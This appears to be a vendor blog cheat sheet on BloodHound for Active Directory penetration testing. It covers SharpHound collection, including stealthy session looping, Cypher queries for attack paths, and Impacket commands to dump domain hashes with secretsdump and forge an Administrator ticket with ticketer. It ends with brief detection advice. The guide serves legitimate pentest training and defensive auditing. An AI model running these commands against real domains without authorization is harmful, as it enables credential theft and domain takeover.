DATE

March 27, 2026

BloodHound is one of the most powerful tools in any red teamer's arsenal. Built on graph theory and Active Directory enumeration, it visually maps attack paths that would take days to uncover manually. Whether you are new to offensive security or a seasoned penetration tester, having a reliable BloodHound cheat sheet saves hours during engagements.

This guide walks through everything from installation to advanced Cypher queries, giving you actionable commands you can use immediately in real-world engagements.

If your organization needs expert-led offensive security testing, Redfox Cybersecurity's penetration testing services deliver the depth and precision your environment demands.

What Is BloodHound and Why Does It Matter

BloodHound uses graph-based analysis to identify relationships within Active Directory and Azure AD environments. It maps users, computers, groups, GPOs, OUs, and sessions to reveal attack paths from low-privilege footholds to Domain Admin.

Attackers use it. Defenders use it. Penetration testers use it to show clients exactly how a real adversary would escalate privileges and move laterally across their infrastructure.

The tool consists of two main components:

SharpHound is the data collector (ingestor) that runs on Windows and pulls AD data.

BloodHound GUI is the Neo4j-powered graph interface where you analyze the collected data.

BloodHound Installation and Setup

Installing BloodHound on Kali Linux

sudo apt update && sudo apt install bloodhound -y

Start the Neo4j database before launching BloodHound:

sudo neo4j console

Then open a new terminal and launch BloodHound:

bloodhound

Default Neo4j credentials are neo4j:neo4j. You will be prompted to change the password on first login.

Installing BloodHound CE (Community Edition)

BloodHound CE is the newer Docker-based version:

git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker-compose -f docker-compose.yml up

Access the web UI at http://localhost:8080. Default credentials are admin:bloodhoundcommunityedition.

SharpHound Data Collection Commands

SharpHound is the collector you run on a domain-joined machine or with valid credentials. It outputs a zip file containing JSON files that you import into the BloodHound GUI.

Basic Collection

.\SharpHound.exe -c All

This runs all collection methods including Sessions, ACLs, LocalGroups, Trusts, and ObjectProps.

Specifying a Domain

.\SharpHound.exe -c All -d target.local

Using Alternate Credentials

.\SharpHound.exe -c All --ldapusername jdoe --ldappassword 'P@ssw0rd!' -d target.local

Running from a Non-Domain Machine

runas /netonly /user:target.local\jdoe "powershell.exe -c '.\SharpHound.exe -c All -d target.local'"

Stealth Collection (Session Loop)

To reduce noise, avoid full collection and instead loop session enumeration:

.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00

This collects sessions every 5 minutes for 2 hours, building a more complete session map without blasting every collection method at once.

Exclude Domain Controllers from Session Enumeration

.\SharpHound.exe -c All --ExcludeDCs

Collecting Specific Objects Only

.\SharpHound.exe -c ACL,ObjectProps,Trusts

Running BloodHound with Python (Linux/Non-Windows)

For engagements where you cannot drop a binary on a host, use bloodhound-python:

pip install bloodhound
bloodhound-python -u jdoe -p 'P@ssw0rd!' -d target.local -ns 192.168.1.10 -c All

With Kerberos authentication:

bloodhound-python -u jdoe -k -no-pass -d target.local -ns 192.168.1.10 -c All --kerberos

Collecting from a specific Domain Controller:

bloodhound-python -u jdoe -p 'P@ssw0rd!' -d target.local -dc dc01.target.local -c All

BloodHound GUI Navigation and Key Features

Once your data is ingested, the GUI gives you multiple ways to analyze the environment.

Marking High Value Targets

Right-click any node and select "Mark as High Value" to flag critical assets. BloodHound will then include them in shortest path queries automatically.

Owned Nodes

Right-click a node and select "Mark as Owned" once you have compromised an account or machine. This unlocks the "Shortest Paths from Owned Principals" query.

Pre-Built Queries

BloodHound ships with built-in queries accessible from the Analysis tab:

  • Find All Domain Admins
  • Shortest Paths to Domain Admins
  • Find Principals with DCSync Rights
  • Shortest Paths to High Value Targets
  • Find Computers with Unsupported Operating Systems
  • Find AS-REP Roastable Users
  • Find Kerberoastable Users with Most Privileges

Essential Custom Cypher Queries

The real power of BloodHound comes from writing your own Cypher queries directly in the search bar or the Raw Query box.

Find All Kerberoastable Accounts

MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

Find Kerberoastable Accounts That Are Domain Admins

MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group) WHERE g.name =~ "(?i).*domain admins.*" RETURN u.name

Find AS-REP Roastable Users

MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Find Users with Password Never Expires

MATCH (u:User {pwdneverexpires:true}) WHERE u.enabled = true RETURN u.name

Find All Computers Running Unsupported OS

MATCH (c:Computer) WHERE c.operatingsystem =~ "(?i).*(windows xp|windows 2000|windows 2003|windows vista|windows 7|windows server 2008).*" RETURN c.name, c.operatingsystem

Find All Users with AdminCount Set

MATCH (u:User {admincount:true}) RETURN u.name

Find Computers Where Domain Users are Local Admins

MATCH p = (g:Group)-[:AdminTo]->(c:Computer) WHERE g.name =~ "(?i).*domain users.*" RETURN p

Find ACL Paths to Domain Admins

MATCH p = shortestPath((u:User)-[:MemberOf|GenericAll|GenericWrite|WriteOwner|WriteDacl|AllExtendedRights*1..]->(g:Group)) WHERE g.name =~ "(?i).*domain admins.*" AND NOT u=g RETURN p

Find Owned Users That Can Reach Domain Admin

MATCH p = shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@TARGET.LOCAL"})) RETURN p

Find All GPO Apply Paths

MATCH p = (g:GPO)-[:GPLink]->(c) RETURN p

Find Groups with DCSync Rights

MATCH p = (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p

Find Users with WriteDACL on Domain

MATCH p = (u:User)-[:WriteDacl]->(d:Domain) RETURN p

Identify Shortest Path from a Specific User

MATCH p = shortestPath((u:User {name:"JDOE@TARGET.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@TARGET.LOCAL"})) RETURN p

Common Attack Paths BloodHound Reveals

Understanding how BloodHound exposes attack chains helps you explain findings clearly to clients. This is where professional penetration testing from Redfox Cybersecurity translates raw graph data into business-level risk reports.

GenericAll Abuse

When a user or group has GenericAll over another object, they can:

  • Reset the target user's password
  • Add themselves to a target group
  • Take full control of a computer object

Detection in BloodHound:

MATCH p = (u:User)-[:GenericAll]->(t) RETURN p

WriteDACL Escalation

WriteDACL allows an attacker to grant themselves additional permissions on an object, including DCSync rights on a domain object.

MATCH p = (n)-[:WriteDacl]->(d:Domain) RETURN p

Unconstrained Delegation

Computers with unconstrained delegation store TGTs in memory for any user that authenticates to them. If you can compromise that machine, you can extract those tickets and impersonate high-privilege users.

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

Constrained Delegation with Protocol Transition

MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate

Resource-Based Constrained Delegation (RBCD)

MATCH p = (u)-[:AllowedToAct]->(c:Computer) RETURN p

BloodHound Operational Tips for Engagements

Tip 1: Always Prioritize Owned Paths First

After marking compromised accounts as owned, run "Shortest Paths from Owned Principals" before exploring any other query. This immediately shows you what is reachable.

Tip 2: Look at Edge Types, Not Just Paths

Focus on edges like HasSession, AdminTo, GenericAll, WriteDACL, AllExtendedRights, and CanRDP. These represent real, actionable relationships rather than group memberships alone.

Tip 3: Combine BloodHound with Impacket

After identifying a DCSync-capable user:

impacket-secretsdump target.local/jdoe:'P@ssw0rd!'@192.168.1.10 -just-dc

After extracting a TGT from an unconstrained delegation attack:

impacket-ticketer -nthash <hash> -domain-sid <SID> -domain target.local Administrator

Tip 4: Cross-Domain Trust Attacks

BloodHound maps inter-domain trusts. Filter for trust edges:

MATCH p = (d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN p

Then look for users in one domain that have admin rights in another:

MATCH p = (u:User)-[:AdminTo]->(c:Computer) WHERE u.domain <> c.domain RETURN p

Tip 5: Export and Document Findings

Export individual paths as PNG from the GUI for client reports. For large graphs, use the Cypher query output as raw evidence in reporting tools.

Professional teams at Redfox Cybersecurity take BloodHound findings further, providing remediation-mapped reports that prioritize risk by business impact rather than just technical severity.

Clearing and Resetting BloodHound Data

When switching between engagements, always purge old data:

MATCH (n) DETACH DELETE n

Or use the GUI by going to the gear icon and selecting "Clear Database."

BloodHound Defense and Detection Considerations

While this cheat sheet focuses on offensive use, defenders should monitor for:

SharpHound execution artifacts: Look for SharpHound.exe, SharpHound.ps1, or any process making excessive LDAP queries to Domain Controllers in a short window.

Unusual LDAP enumeration: SIEM rules that alert on a single source making hundreds of LDAP queries within minutes are effective at catching collection activity.

Session enumeration noise: Monitor for repeated remote registry access or SMB connections to many hosts in rapid succession.

Review ACL anomalies regularly: Use BloodHound defensively on a scheduled basis to audit your own environment before attackers do.

Wrapping Up

BloodHound fundamentally changes how penetration testers and red teamers approach Active Directory environments. The commands and Cypher queries in this cheat sheet cover everything from basic collection to identifying nuanced delegation misconfigurations and ACL abuse chains that most automated scanners miss entirely.

Keeping this cheat sheet bookmarked will accelerate your workflow during time-limited engagements, help you build stronger client deliverables, and deepen your understanding of AD attack surfaces overall.

If you want to see how BloodHound findings translate into a full-scope penetration test with expert analysis and remediation guidance, the team at Redfox Cybersecurity is ready to help. From internal AD assessments to red team operations, Redfox Cybersecurity provides the coverage modern organizations need to stay ahead of adversaries who already know these techniques.

Explore Redfox Cybersecurity's penetration testing services today and find out what your network looks like through an attacker's eyes.